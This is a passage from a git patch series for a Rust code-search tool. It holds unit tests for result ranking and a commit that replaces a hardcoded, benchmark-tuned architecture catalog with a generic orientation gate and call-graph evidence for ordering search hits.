Some(FileRole::Source), true, "main", degrees(0, 9)), + EntryEvidence::None + ); + } + + #[test] + fn entry_evidence_rejects_a_module_file_callable_that_has_visible_callers() { + // A module file classified as Entrypoint must not make every callable + // inside it an entry point; topology decides. + assert_eq!( + entry_evidence( + true, + Some(FileRole::Entrypoint), + false, + "format_label", + degrees(4, 2) + ), + EntryEvidence::None + ); + } + + #[test] + fn entry_evidence_rejects_a_zero_caller_leaf_without_fanout() { + assert_eq!( + entry_evidence( + true, + Some(FileRole::Source), + false, + "unused_leaf", + degrees(0, 1) + ), + EntryEvidence::None + ); + } + + #[test] + fn degree_tiers_absorb_single_edge_differences() { + assert_eq!(degree_tier(1), degree_tier(2)); + assert_eq!(degree_tier(3), degree_tier(8)); + assert_eq!(degree_tier(9), degree_tier(400)); + assert!(degree_tier(0) < degree_tier(1)); + assert!(degree_tier(2) < degree_tier(3)); + assert!(degree_tier(8) < degree_tier(9)); + } + + fn keyed(items: &[(&str, &str)]) -> Vec<(String, String)> { + items + .iter() + .map(|(surface, name)| ((*surface).to_string(), (*name).to_string())) + .collect() + } + + #[test] + fn diversified_order_truncated_at_any_limit_is_a_prefix_of_a_larger_limit() { + let items = keyed(&[ + ("alpha", "one"), + ("alpha", "two"), + ("beta", "one"), + ("gamma", "three"), + ("alpha", "four"), + ("beta", "five"), + ]); + let ordered = diversify_root_order(items, |_| false, Clone::clone); + for smaller in 0..=ordered.len() { + for larger in smaller..=ordered.len() { + assert_eq!( + ordered[..smaller], + ordered[..larger][..smaller], + "prefix broke between {smaller} and {larger}" + ); + } + } + } + + #[test] + fn diversified_order_is_a_permutation_that_never_admits_a_non_candidate() { + let items = keyed(&[ + ("alpha", "one"), + ("alpha", "one"), + ("beta", "two"), + ("gamma", "one"), + ]); + let ordered = diversify_root_order(items.clone(), |_| false, Clone::clone); + let mut expected = items; + let mut actual = ordered; + expected.sort(); + actual.sort(); + assert_eq!(actual, expected); + } + + #[test] + fn pinned_exact_matches_keep_their_positions_through_diversification() { + let items = keyed(&[ + ("alpha", "pinned"), + ("alpha", "repeat"), + ("beta", "novel"), + ("alpha", "pinned_two"), + ]); + let ordered = + diversify_root_order(items, |(_, name)| name.starts_with("pinned"), Clone::clone); + assert_eq!( + ordered + .iter() + .map(|(_, name)| name.as_str()) + .collect::>(), + ["pinned", "pinned_two", "novel", "repeat"] + ); + } + + #[test] + fn subsystem_keys_are_derived_from_workspace_layout_not_repository_names() { + assert_eq!( + subsystem_key_for_path("rust", Some("crates/some-crate/src/thing.rs")), + "rust:crates/some-crate" + ); + assert_eq!( + subsystem_key_for_path("ts", Some("plugins/some-plugin/index.ts")), + "ts:plugins/some-plugin" + ); + assert_eq!( + subsystem_key_for_path("rust", Some("apps/desktop/src-tauri/src/lib.rs")), + "rust:src-tauri" + ); + assert_eq!( + subsystem_key_for_path("ts", Some("src/widgets/panel.ts")), + "ts:src/widgets" + ); + assert_eq!(subsystem_key_for_path("ts", Some("src/panel.ts")), "ts:src"); + assert_eq!( + subsystem_key_for_path("go", Some("cmd/tool/run.go")), + "go:cmd" + ); + assert_eq!(subsystem_key_for_path("go", None), "go:unknown"); + } + + #[test] + fn structural_path_rank_uses_path_segments_only() { + assert_eq!( + structural_path_rank(Some(FileRole::Entrypoint), Some("anywhere/at/all.ts")), + 0 + ); + assert_eq!( + structural_path_rank(Some(FileRole::Source), Some("src/a.rs")), + 1 + ); + assert_eq!( + structural_path_rank(Some(FileRole::Source), Some("src/inner/a.rs")), + 1 + ); + assert_eq!( + structural_path_rank(Some(FileRole::Source), Some("src/inner/deeper/a.rs")), + 2 + ); + assert_eq!( + structural_path_rank(Some(FileRole::Source), Some("a.rs")), + 1 + ); + assert_eq!( + structural_path_rank(Some(FileRole::Source), Some("scripts/tools/a.rs")), + 3 + ); + assert_eq!(structural_path_rank(Some(FileRole::Source), None), 3); + // Windows separators normalize to the same structural position. + assert_eq!( + structural_path_rank(Some(FileRole::Source), Some(r"src\inner\a.rs")), + 1 + ); + } + + #[test] + fn structural_depth_counts_directories_below_the_innermost_source_root() { + assert_eq!(structural_depth("src/a.rs"), 0); + assert_eq!(structural_depth("src/inner/a.rs"), 1); + assert_eq!(structural_depth("crates/thing/src/inner/deep/a.rs"), 2); + assert_eq!(structural_depth("src/main/java/com/example/App.java"), 4); + assert_eq!(structural_depth("top/level/file.rs"), 2); + } + + #[test] + fn helper_like_names_and_paths_are_recognized_by_generic_vocabulary() { + assert!(helper_like_name_or_path("build_helper", None)); + assert!(helper_like_name_or_path( + "Thing", + Some("src/mocks/thing.rs") + )); + assert!(!helper_like_name_or_path( + "run_server", + Some("src/server.rs") + )); + } +} From b07a71ead9ee8a9b8ab3761a6e4dc8deed1179c9 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 02:51:41 -0500 Subject: [PATCH 006/132] rank search roots by repository evidence and delete the coverage catalog architecture_coverage_for_hit was the clearest benchmark-shaped surface the v0.16.1 audit found: 25 hardcoded path and term shapes with fixed scores, naming one framework's config file, another repository's collection directory, and a third's exec crate layout. It and its cross-source swap are deleted outright, along with the cfg(test)-masked repo-text twin catalog that the generalization lint could not see. The ten-variant ArchitectureQueryIntent set goes with them. Its vocabulary read generic, but its membership -- page render, data loader, auth, feed, persistence -- tracked the holdout domains. One orientation regime gate replaces it, built from structure-shape words with no domain noun. New rank fields sit below source_bucket and above the name/path buckets: entry evidence, helper demotion, and quantized directed call tiers. Below source_bucket so graph evidence can never rescue a demoted test or vendor hit; above the name buckets so entry points can actually outrank leaf aliases, which is the #1338 defect. Outside the regime every new field takes a constant, and a constant field contributes Ordering::Equal to every comparison, so those requests keep exactly today's order. Diversify the full list before truncating rather than swapping window slots, so results at a smaller limit stay an exact prefix of a larger one for a fixed candidate set. Exact matches are pinned through it. Bridge evidence is re-keyed on the collector's structured canonical id, owned by contracts, instead of matching substrings of a rendered display label. Rejected hits report typed evidence instead of coverage keys. Co-Authored-By: Claude Opus 5 --- crates/codestory-contracts/src/api/dto.rs | 8 + crates/codestory-contracts/src/graph.rs | 7 + .../src/controller_symbols.rs | 2 +- crates/codestory-runtime/src/grounding.rs | 2 +- crates/codestory-runtime/src/lib.rs | 5 +- crates/codestory-runtime/src/repo_text.rs | 2 +- crates/codestory-runtime/src/search_intent.rs | 58 +- crates/codestory-runtime/src/search_plan.rs | 586 ++++--- .../codestory-runtime/src/search_scoring.rs | 748 +-------- crates/codestory-runtime/src/search_terms.rs | 287 +--- crates/codestory-runtime/src/symbol_query.rs | 588 ++----- crates/codestory-runtime/src/tests.rs | 15 +- .../codestory-runtime/src/tests/repo_text.rs | 353 +--- .../src/tests/search_plan.rs | 1494 +++++++---------- 14 files changed, 1213 insertions(+), 2942 deletions(-) diff --git a/crates/codestory-contracts/src/api/dto.rs b/crates/codestory-contracts/src/api/dto.rs index 7825da350..194e2135d 100644 --- a/crates/codestory-contracts/src/api/dto.rs +++ b/crates/codestory-contracts/src/api/dto.rs @@ -778,6 +778,14 @@ pub struct SearchQueryAssessmentDto { pub repo_text_fallback_reason: Option, #[serde(default, skip_serializing_if = "Option::is_none")] pub recommended_next_action: Option, + /// Orientation confidence and uncertainty for structure-shaped queries. + /// + /// Reuses the grounding orientation type deliberately: `ground` and + /// `search` then report one orientation vocabulary, and the generated + /// TypeScript the plugin consumes gains a field rather than a rename. + /// Absent when the request is not an orientation query. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub orientation: Option, } #[derive(Debug, Clone, Copy, Serialize, Deserialize, Type, PartialEq, Eq)] diff --git a/crates/codestory-contracts/src/graph.rs b/crates/codestory-contracts/src/graph.rs index 8b60eb26c..e0ec7ff7f 100644 --- a/crates/codestory-contracts/src/graph.rs +++ b/crates/codestory-contracts/src/graph.rs @@ -11,6 +11,13 @@ use std::fmt; use std::str::FromStr; use thiserror::Error; +/// Canonical-id namespaces written by structural source collectors. +/// +/// Ranking consumes this list so it never spells a collector's namespace +/// itself; adding a collector is a change in the layer that owns the collector, +/// not in retrieval ranking. +pub const STRUCTURAL_COLLECTION_CANONICAL_ID_PREFIXES: &[&str] = &["payload:collection:"]; + pub mod access; pub mod definition; pub mod error; diff --git a/crates/codestory-runtime/src/controller_symbols.rs b/crates/codestory-runtime/src/controller_symbols.rs index deef3445b..e3a4647a8 100644 --- a/crates/codestory-runtime/src/controller_symbols.rs +++ b/crates/codestory-runtime/src/controller_symbols.rs @@ -159,7 +159,7 @@ impl AppController { .collect::>(); let project_root = self.require_project_root().ok(); hits.sort_by(|left, right| { - compare_search_hits_with_project_root(project_root.as_deref(), query, left, right) + compare_search_hits_with_project_root(project_root.as_deref(), query, left, right, None) }); hits.truncate(max_results.clamp(1, 50)); Ok(hits) diff --git a/crates/codestory-runtime/src/grounding.rs b/crates/codestory-runtime/src/grounding.rs index 258b8d449..f2d0fd7f4 100644 --- a/crates/codestory-runtime/src/grounding.rs +++ b/crates/codestory-runtime/src/grounding.rs @@ -142,7 +142,7 @@ fn compare_nodes( .then(left.id.0.cmp(&right.id.0)) } -fn relative_path(root: &Path, path: &Path) -> String { +pub(crate) fn relative_path(root: &Path, path: &Path) -> String { path.strip_prefix(root) .unwrap_or(path) .to_string_lossy() diff --git a/crates/codestory-runtime/src/lib.rs b/crates/codestory-runtime/src/lib.rs index bfabc9e54..9397d70f9 100644 --- a/crates/codestory-runtime/src/lib.rs +++ b/crates/codestory-runtime/src/lib.rs @@ -279,9 +279,8 @@ pub use symbol_query::{ symbol_name_match_rank, symbol_query_tokens, terminal_symbol_segment, }; pub(crate) use symbol_query::{ - architecture_query_intents, compare_search_hits_with_project_root, exact_symbol_query_terms, - is_non_primary_source_term, looks_like_standalone_symbol_query, - query_mentions_non_primary_source, + compare_search_hits_with_project_root, exact_symbol_query_terms, is_non_primary_source_term, + looks_like_standalone_symbol_query, query_mentions_non_primary_source, }; #[cfg(test)] pub(crate) use symbol_query::{is_non_primary_source_hit, mixed_natural_language_query}; diff --git a/crates/codestory-runtime/src/repo_text.rs b/crates/codestory-runtime/src/repo_text.rs index d242cb4c1..1831922e1 100644 --- a/crates/codestory-runtime/src/repo_text.rs +++ b/crates/codestory-runtime/src/repo_text.rs @@ -143,7 +143,7 @@ impl AppController { } hits.sort_by(|left, right| { - compare_search_hits_with_project_root(project_root, query, left, right) + compare_search_hits_with_project_root(project_root, query, left, right, None) }); hits.truncate(limit); stats.duration_ms = clamp_u128_to_u32(started_at.elapsed().as_millis()); diff --git a/crates/codestory-runtime/src/search_intent.rs b/crates/codestory-runtime/src/search_intent.rs index ff600dfac..99f8b4e64 100644 --- a/crates/codestory-runtime/src/search_intent.rs +++ b/crates/codestory-runtime/src/search_intent.rs @@ -1,11 +1,11 @@ use super::{ LanguageSupportProfile, NodeKind, Path, SearchHit, SearchMatchQualityDto, - SearchQueryAssessmentDto, SearchRepoTextMode, architecture_query_intents, - exact_symbol_query_terms, language_support_profile_for_ext, - language_support_profile_for_language_name, leading_symbol_segment, normalize_symbol_query, - query_has_symbol_or_literal_signal, symbol_name_match_rank, symbol_query, - terminal_symbol_segment, + SearchQueryAssessmentDto, SearchRepoTextMode, exact_symbol_query_terms, + language_support_profile_for_ext, language_support_profile_for_language_name, + leading_symbol_segment, normalize_symbol_query, query_has_symbol_or_literal_signal, + symbol_name_match_rank, terminal_symbol_segment, }; +use codestory_contracts::api::{GroundingOrientationDto, GroundingOrientationUncertaintyDto}; #[derive(Debug, Clone)] pub(super) struct SearchIntentQuery { @@ -348,6 +348,7 @@ pub(super) fn repo_text_auto_fallback_reason( None } +#[allow(clippy::too_many_arguments)] pub(super) fn search_query_assessment( query: &str, indexed_hits: &[SearchHit], @@ -355,12 +356,12 @@ pub(super) fn search_query_assessment( repo_text_mode: SearchRepoTextMode, repo_text_enabled: bool, repo_text_fallback_reason: Option, + orientation: Option, ) -> SearchQueryAssessmentDto { let exact_symbol_hit_count = exact_symbol_hit_count(query, indexed_hits); let weak_top_hit = exact_symbol_hit_count == 0 && weak_search_top_hit(query, indexed_hits); let stale_or_missing_anchor = exact_symbol_hit_count == 0 && query_has_symbol_or_literal_signal(query); - let architecture_intents = architecture_query_intents(query); SearchQueryAssessmentDto { exact_symbol_hit_count, @@ -369,38 +370,49 @@ pub(super) fn search_query_assessment( repo_text_fallback_reason, recommended_next_action: Some(search_query_recommended_next_action( exact_symbol_hit_count, - &architecture_intents, + crate::search_plan::orientation_query(query), + orientation.as_ref(), indexed_hits, repo_text_hits, repo_text_mode, repo_text_enabled, )), + orientation, } } +#[allow(clippy::too_many_arguments)] pub(super) fn search_query_recommended_next_action( exact_symbol_hit_count: u32, - architecture_intents: &[symbol_query::ArchitectureQueryIntent], + orientation_query: bool, + orientation: Option<&GroundingOrientationDto>, indexed_hits: &[SearchHit], repo_text_hits: &[SearchHit], repo_text_mode: SearchRepoTextMode, repo_text_enabled: bool, ) -> String { - if exact_symbol_hit_count > 0 && !architecture_intents.is_empty() { - return format!( - "Architecture intent detected ({}); open the strongest production entrypoint/orchestrator with symbol, trail, and function-body snippet before answering.", - architecture_intent_labels(architecture_intents) - ); + // Naming the gap is the point: when the order is lexical, say so rather than + // implying the ranking proved a structure. + let lexical_fallback = orientation.is_some_and(|orientation| { + orientation + .uncertainty + .contains(&GroundingOrientationUncertaintyDto::LexicalFallback) + }); + if orientation_query && lexical_fallback { + return "Graph evidence is thin; these results are lexically ranked. Open the top hit's callers with trail before making structure claims." + .to_string(); + } + if exact_symbol_hit_count > 0 && orientation_query { + return "Orientation query with an exact anchor; open the strongest production entry point with symbol, trail, and function-body snippet before answering." + .to_string(); } if exact_symbol_hit_count > 0 { return "Open the exact indexed hit with symbol, trail, and snippet before answering." .to_string(); } - if !architecture_intents.is_empty() && !indexed_hits.is_empty() { - return format!( - "Architecture intent detected ({}) with no exact anchor; run drill with concrete anchors from ground/search, then inspect symbol, trail, and function-body snippets before answering. Treat broad search hits as leads only.", - architecture_intent_labels(architecture_intents) - ); + if orientation_query && !indexed_hits.is_empty() { + return "Orientation query with no exact anchor; run drill with concrete anchors from ground/search, then inspect symbol, trail, and function-body snippets before answering. Treat broad search hits as leads only." + .to_string(); } if !repo_text_hits.is_empty() { return "Use repo-text hits to choose a concrete identifier, then rerun symbol/trail/snippet." @@ -411,13 +423,3 @@ pub(super) fn search_query_recommended_next_action( } "Try a shorter symbol, file name, or literal from ground output.".to_string() } - -pub(super) fn architecture_intent_labels( - intents: &[symbol_query::ArchitectureQueryIntent], -) -> String { - intents - .iter() - .map(|intent| intent.label()) - .collect::>() - .join(", ") -} diff --git a/crates/codestory-runtime/src/search_plan.rs b/crates/codestory-runtime/src/search_plan.rs index 7f999d40a..3bf62459d 100644 --- a/crates/codestory-runtime/src/search_plan.rs +++ b/crates/codestory-runtime/src/search_plan.rs @@ -6,32 +6,114 @@ use super::{ SearchPlanBridgeStatusDto, SearchPlanCandidateWindowDto, SearchPlanChannelDto, SearchPlanDto, SearchPlanNextActionDto, SearchPlanPromotionStatusDto, SearchPlanRejectedHitDto, SearchPlanSubqueryDto, SearchPlanTermsDto, SearchQueryAssessmentDto, SearchRepoTextMode, - SearchRequest, SearchResultsDto, Storage, TrailConfigDto, agent, architecture_query_intents, - clamp_usize_to_u32, compare_search_hits_with_project_root, leading_symbol_segment, - looks_like_repo_text_query, normalize_symbol_query, retrieval_file_role_from_path, + SearchRequest, SearchResultsDto, Storage, TrailConfigDto, agent, clamp_usize_to_u32, + compare_search_hits_with_project_root, leading_symbol_segment, looks_like_repo_text_query, + normalize_symbol_query, retrieval_file_role_from_path, retrieval_state_from_storage_for_runtime, should_expand_symbol_query, terminal_symbol_segment, }; +use crate::root_rank::{ + self, CallDegrees, SEARCH_ORIENTATION_WINDOW, degree_tier, entry_evidence, + helper_like_name_or_path, structural_path_rank, subsystem_key_for_path, +}; use crate::search_intent::{ SearchIntentFilter, SearchIntentQuery, annotate_search_hit_match_quality, apply_search_intent_filters, parse_search_intent_query, search_hit_match_quality, search_query_assessment, }; use crate::search_scoring::{ - ArchitectureCoverage, apply_architecture_cross_source_coverage, architecture_coverage_for_hit, dedupe_inexact_search_hits_by_display_key, did_you_mean_suggestions, merge_search_hits_by_node_id, search_plan_subquery_candidate_limit, }; use crate::search_terms::{ SEARCH_PLAN_BASE_SOURCE_TRUTH_CHECKS, SEARCH_PLAN_EXPLICIT_ANCHOR_MARKER, SEARCH_PLAN_MAX_SEED_ANCHORS, SEARCH_PLAN_OPTIONAL_SUBQUERY_LIMIT, - SEARCH_PLAN_REPO_TEXT_SOURCE_TRUTH_CHECK, SEARCH_PLAN_ROLE_SPECS, - SEARCH_PLAN_SEED_ANCHOR_MARKER, SEARCH_PLAN_SYMBOL_TERMS, search_plan_terms, + SEARCH_PLAN_REPO_TEXT_SOURCE_TRUTH_CHECK, SEARCH_PLAN_SEED_ANCHOR_MARKER, + search_plan_identifier_shaped_term, search_plan_query_token_closure, search_plan_terms, }; +use crate::symbol_query::{OrientationEvidence, OrientationHitEvidence, is_non_primary_source_hit}; +use codestory_contracts::api::{GroundingOrientationDto, GroundingOrientationUncertaintyDto}; +use codestory_contracts::graph::STRUCTURAL_COLLECTION_CANONICAL_ID_PREFIXES; +use codestory_store::FileRole; +use std::cmp::Reverse; +use std::path::Path; + +/// The only search-plan intent label there is now. +pub(super) const SEARCH_PLAN_ORIENTATION_INTENT: &str = "orientation"; fn is_low_confidence_search_plan_bridge(bridge: &SearchPlanBridgeDto) -> bool { bridge.confidence == SearchPlanBridgeConfidenceDto::Low } +/// Report what the orientation regime could and could not prove. +/// +/// The same vocabulary the compact grounding map uses, so an agent reads one +/// orientation contract across `ground` and `search`. +pub(super) fn search_orientation_report( + evidence: &OrientationEvidence, + total_root_candidates: usize, + selected: &[SearchHit], +) -> GroundingOrientationDto { + let evaluated = total_root_candidates.min(SEARCH_ORIENTATION_WINDOW); + let candidate_entrypoint_roots = evidence.entrypoint_roots_in_map(); + let selected_entrypoint_roots = + evidence.entrypoint_roots(selected.iter().map(|hit| hit.node_id.clone())); + let candidate_subsystems = evidence.subsystems().len(); + let selected_subsystems = selected + .iter() + .filter(|hit| !is_non_primary_source_hit(hit)) + .filter_map(|hit| evidence.get(&hit.node_id)) + .map(|evidence| evidence.subsystem.clone()) + .collect::>() + .len(); + let graph_signal_thin = evidence.graph_signal_thin(); + + let mut uncertainty = Vec::new(); + if total_root_candidates > evaluated { + uncertainty.push(GroundingOrientationUncertaintyDto::BoundedCandidateWindow); + } + if candidate_entrypoint_roots == 0 { + uncertainty.push(GroundingOrientationUncertaintyDto::NoEntrypointEvidence); + } else if selected_entrypoint_roots == 0 { + uncertainty.push(GroundingOrientationUncertaintyDto::EntrypointEvidenceOmitted); + } + if candidate_subsystems > 1 && selected_subsystems < candidate_subsystems.min(selected.len()) { + uncertainty.push(GroundingOrientationUncertaintyDto::LimitedSubsystemBreadth); + } + if graph_signal_thin { + uncertainty.push(GroundingOrientationUncertaintyDto::GraphSignalThin); + } + if graph_signal_thin && candidate_entrypoint_roots == 0 { + uncertainty.push(GroundingOrientationUncertaintyDto::LexicalFallback); + } + + GroundingOrientationDto { + confidence: crate::grounding::orientation_confidence( + &uncertainty, + selected.is_empty() || candidate_entrypoint_roots == 0, + selected_entrypoint_roots == 0, + ), + total_root_candidates: clamp_usize_to_u32(total_root_candidates), + evaluated_root_candidates: clamp_usize_to_u32(evaluated), + candidate_entrypoint_roots: clamp_usize_to_u32(candidate_entrypoint_roots), + selected_entrypoint_roots: clamp_usize_to_u32(selected_entrypoint_roots), + candidate_subsystems: clamp_usize_to_u32(candidate_subsystems), + selected_subsystems: clamp_usize_to_u32(selected_subsystems), + uncertainty, + } +} + +/// Bridge a path-derived retrieval role onto the store's verified role vocabulary. +fn store_file_role_from_retrieval_role(role: RetrievalFileRole) -> FileRole { + match role { + RetrievalFileRole::Source => FileRole::Source, + RetrievalFileRole::Test => FileRole::Test, + RetrievalFileRole::Docs => FileRole::Docs, + RetrievalFileRole::Benchmark => FileRole::Benchmark, + RetrievalFileRole::Generated => FileRole::Generated, + RetrievalFileRole::Vendor => FileRole::Vendor, + } +} + #[derive(Debug, Clone, Default)] pub(super) struct SearchPlanExecutedEvidence { indexed_symbol_hits: Vec, @@ -43,6 +125,16 @@ pub(super) struct SearchPlanExecutedEvidence { #[derive(Debug, Clone, Copy, Default)] pub(super) struct SearchPlanActivePathEvidence { pub(super) caller_count: u32, + pub(super) out_call_count: u32, +} + +impl SearchPlanActivePathEvidence { + pub(super) fn degrees(self) -> CallDegrees { + CallDegrees { + production_in_calls: self.caller_count, + out_calls: self.out_call_count, + } + } } #[derive(Debug, Clone)] @@ -51,67 +143,67 @@ pub(super) struct SearchPlanBuild { indexed_symbol_hits: Vec, } -pub(super) fn search_plan_eligible( - query: &str, - exact_symbol_hit_count: u32, - intents: &[String], -) -> bool { - let broad_query = looks_like_repo_text_query(query) || query.split_whitespace().count() >= 4; - let has_seed_anchors = query.contains(SEARCH_PLAN_SEED_ANCHOR_MARKER); - let broad_explanation_prompt = - search_plan_broad_explanation_prompt_with_architecture_terms(query); - !intents.is_empty() - && broad_query - && (exact_symbol_hit_count == 0 || has_seed_anchors || broad_explanation_prompt) +/// The single orientation regime gate. +/// +/// This replaces a ten-variant intent set whose *membership* -- page render, +/// data loader, auth, feed, persistence -- tracked the holdout domains even +/// though each variant's vocabulary read generic. The vocabulary below is +/// structure shape only and contains no domain noun. +pub(super) fn orientation_query(query: &str) -> bool { + let broad = looks_like_repo_text_query(query) || query.split_whitespace().count() >= 4; + broad && asks_about_structure(query) } -pub(super) fn search_plan_broad_explanation_prompt_with_architecture_terms(query: &str) -> bool { +pub(super) fn asks_about_structure(query: &str) -> bool { let lower = query.to_ascii_lowercase(); - let asks_for_flow = lower.contains("explain how") + if lower.contains("entry point") + || lower.contains("end to end") + || lower.contains("end-to-end") + || lower.contains("walk through") + || lower.contains("explain how") || lower.contains("trace how") || lower.starts_with("how ") - || lower.contains(" how "); - if !asks_for_flow { - return false; + || lower.contains(" how ") + { + return true; } - let tokens = lower + lower .split(|ch: char| !ch.is_ascii_alphanumeric()) - .filter(|token| !token.is_empty()) - .collect::>(); - [ - "cli", - "command", - "runtime", - "workspace", - "indexer", - "indexing", - "store", - "storage", - "persistence", - "snapshot", - "search", - "trail", - "snippet", - "configuration", - "source", - "activation", - "host", - "execution", - ] - .iter() - .filter(|term| tokens.contains(**term)) - .count() - >= 3 + .any(|token| { + matches!( + token, + "architecture" + | "architectural" + | "overview" + | "structure" + | "entrypoint" + | "entrypoints" + | "subsystem" + | "subsystems" + | "module" + | "modules" + | "component" + | "components" + | "pipeline" + | "pipelines" + | "flow" + | "flows" + | "connect" + | "connects" + | "wired" + ) + }) +} + +pub(super) fn search_plan_eligible(query: &str, exact_symbol_hit_count: u32) -> bool { + orientation_query(query) + && (exact_symbol_hit_count == 0 || query.contains(SEARCH_PLAN_SEED_ANCHOR_MARKER)) } pub(super) fn search_plan_subqueries( query: &str, terms: &SearchPlanTermsDto, - intents: &[String], ) -> Vec { - if intents.is_empty() { - return Vec::new(); - } let mut subqueries = Vec::new(); let mut seen = HashSet::new(); @@ -128,7 +220,6 @@ pub(super) fn search_plan_subqueries( push_search_plan_seed_anchor_subqueries(&mut subqueries, &mut seen, query); push_search_plan_explicit_anchor_subqueries(&mut subqueries, &mut seen, query); push_search_plan_symbol_term_subquery(&mut subqueries, &mut seen, terms); - push_search_plan_role_subqueries(&mut subqueries, &mut seen, terms); push_search_plan_named_anchor_subqueries(&mut subqueries, &mut seen, terms); push_search_plan_fallback_subquery(&mut subqueries, &mut seen, terms); subqueries @@ -214,7 +305,7 @@ pub(super) fn push_search_plan_symbol_term_subquery( seen, symbol_terms .iter() - .take(8) + .take(6) .cloned() .collect::>() .join(" "), @@ -250,47 +341,36 @@ pub(super) fn push_search_plan_named_anchor_subqueries( } } +/// Extracted terms that look like declared identifiers, in extraction order. +/// +/// Extraction order is deliberate: the previous score-then-sort ranked a fixed +/// list of domain nouns above everything else, which is how holdout vocabulary +/// reached the front of a typed-symbol subquery. pub(super) fn sorted_search_plan_symbol_terms(terms: &SearchPlanTermsDto) -> Vec { let mut symbol_terms = terms .extracted .iter() - .filter(|term| search_plan_symbol_term(term)) - .cloned() + .filter(|term| search_plan_identifier_shaped_term(term)) + .enumerate() .collect::>(); - symbol_terms.sort_by(|left, right| { - search_plan_symbol_subquery_term_score(right) - .cmp(&search_plan_symbol_subquery_term_score(left)) - .then_with(|| left.cmp(right)) - }); + // Sort by identifier *shape* only, then by extraction order. The replaced + // scorer added a bonus for membership in a fixed noun list, which is how + // holdout vocabulary reached the front of a typed-symbol subquery. + symbol_terms.sort_by_key(|(order, term)| (Reverse(search_plan_term_shape(term)), *order)); symbol_terms + .into_iter() + .map(|(_, term)| term.clone()) + .collect() } -pub(super) fn search_plan_symbol_term(term: &str) -> bool { - term.chars().any(|ch| ch.is_ascii_uppercase()) - || SEARCH_PLAN_SYMBOL_TERMS - .iter() - .any(|symbol_term| term.eq_ignore_ascii_case(symbol_term)) -} - -pub(super) fn search_plan_symbol_subquery_term_score(term: &str) -> u32 { - let uppercase_count = term.chars().filter(|ch| ch.is_ascii_uppercase()).count() as u32; - let lowercase_count = term.chars().filter(|ch| ch.is_ascii_lowercase()).count() as u32; - let mut score = term.len().min(40) as u32; - if uppercase_count >= 2 && lowercase_count > 0 { - score += 120; - } else if uppercase_count > 0 && lowercase_count > 0 { - score += 40; - } - if term.contains('_') || term.contains('-') { - score += 35; - } - if SEARCH_PLAN_SYMBOL_TERMS - .iter() - .any(|symbol_term| term.eq_ignore_ascii_case(symbol_term)) - { - score += 20; - } - score +/// 2 = separator or interior capital, 1 = a plain long word. +fn search_plan_term_shape(term: &str) -> u8 { + let separated = term.contains('_') || term.contains("::") || term.contains('-'); + let interior_uppercase = term + .chars() + .skip(1) + .any(|character| character.is_ascii_uppercase()); + u8::from(separated || interior_uppercase) + 1 } pub(super) fn search_plan_named_anchor_term(term: &str) -> bool { @@ -299,45 +379,6 @@ pub(super) fn search_plan_named_anchor_term(term: &str) -> bool { uppercase_count >= 1 && lowercase_count > 0 && term.len() >= 4 } -pub(super) fn push_search_plan_role_subqueries( - subqueries: &mut Vec, - seen: &mut HashSet, - terms: &SearchPlanTermsDto, -) { - for (role, needles) in SEARCH_PLAN_ROLE_SPECS { - let role_terms = search_plan_matching_terms(terms, needles); - if role_terms.len() >= 2 { - push_search_plan_subquery( - subqueries, - seen, - role_terms.join(" "), - role, - vec![ - SearchPlanChannelDto::TypedSymbol, - SearchPlanChannelDto::Lexical, - SearchPlanChannelDto::RepoText, - ], - ); - } - } -} - -pub(super) fn search_plan_matching_terms( - terms: &SearchPlanTermsDto, - needles: &[&str], -) -> Vec { - terms - .extracted - .iter() - .filter(|term| { - needles - .iter() - .any(|needle| term.eq_ignore_ascii_case(needle)) - }) - .cloned() - .collect() -} - pub(super) fn push_search_plan_fallback_subquery( subqueries: &mut Vec, seen: &mut HashSet, @@ -549,7 +590,10 @@ pub(super) fn hit_exactly_matches_identifier(hit: &SearchHit, identifier: &str) || terminal_symbol_segment(&hit.display_name) == normalized_identifier } -pub(super) fn repo_text_line_identifiers(hit: &SearchHit) -> Vec { +pub(super) fn repo_text_line_identifiers( + hit: &SearchHit, + query_closure: &HashSet, +) -> Vec { let Some(path) = hit.file_path.as_deref() else { return Vec::new(); }; @@ -572,13 +616,14 @@ pub(super) fn repo_text_line_identifiers(hit: &SearchHit) -> Vec { if token.len() < 3 { continue; } + // A bare lowercase word only counts when the query itself supplies it. + // The replaced domain whitelist admitted the holdout's nouns from any + // query at all. + let lower = token.to_ascii_lowercase(); let looks_symbolic = token.chars().any(|ch| ch.is_ascii_uppercase()) || token.contains('_') - || matches!( - token, - "auth" | "feed" | "posts" | "storage" | "indexer" | "service" | "trail" | "snippet" - ); - if looks_symbolic && seen.insert(token.to_ascii_lowercase()) { + || query_closure.contains(&lower); + if looks_symbolic && seen.insert(lower) { identifiers.push(token.to_string()); } } @@ -792,6 +837,7 @@ pub(super) fn search_plan_path_is_test_or_bench(path: &str) -> bool { ) } +#[allow(clippy::too_many_arguments)] pub(super) fn search_plan_anchor_groups( query: &str, terms: &SearchPlanTermsDto, @@ -799,6 +845,7 @@ pub(super) fn search_plan_anchor_groups( repo_text_hits: &[SearchHit], suggestions: &[SearchHit], active_path_evidence: &HashMap, + orientation: Option<&OrientationEvidence>, ) -> Vec { let mut groups = Vec::new(); let mut grouped_ids = HashSet::new(); @@ -808,11 +855,13 @@ pub(super) fn search_plan_anchor_groups( .chain(suggestions.iter()) .cloned() .collect::>(); - all_symbol_hits - .sort_by(|left, right| compare_search_hits_with_project_root(None, query, left, right)); + all_symbol_hits.sort_by(|left, right| { + compare_search_hits_with_project_root(None, query, left, right, orientation) + }); + let query_closure = search_plan_query_token_closure(query); let repo_text_identifiers = repo_text_hits .iter() - .map(repo_text_line_identifiers) + .map(|hit| repo_text_line_identifiers(hit, &query_closure)) .collect::>(); let mut grouped_anchor_names = HashSet::new(); @@ -936,45 +985,23 @@ pub(super) fn search_plan_rejected_hits( suggestions: &[SearchHit], indexed_hits: &[SearchHit], repo_text_hits: &[SearchHit], + evidence: Option<&OrientationEvidence>, + selected_subsystems: &HashSet, ) -> Vec { let chosen = anchor_groups .iter() .filter_map(|group| group.chosen_symbol.as_ref().map(|hit| hit.node_id.clone())) .collect::>(); let mut seen = HashSet::new(); - let mut rejected = suggestions + suggestions .iter() .chain(indexed_hits.iter()) .chain(repo_text_hits.iter()) .filter(|hit| !chosen.contains(&hit.node_id) && seen.insert(hit.node_id.clone())) - .map(|hit| { - let coverage = architecture_coverage_for_hit(hit); - let coverage_score = coverage - .as_ref() - .map(|coverage| coverage.score) - 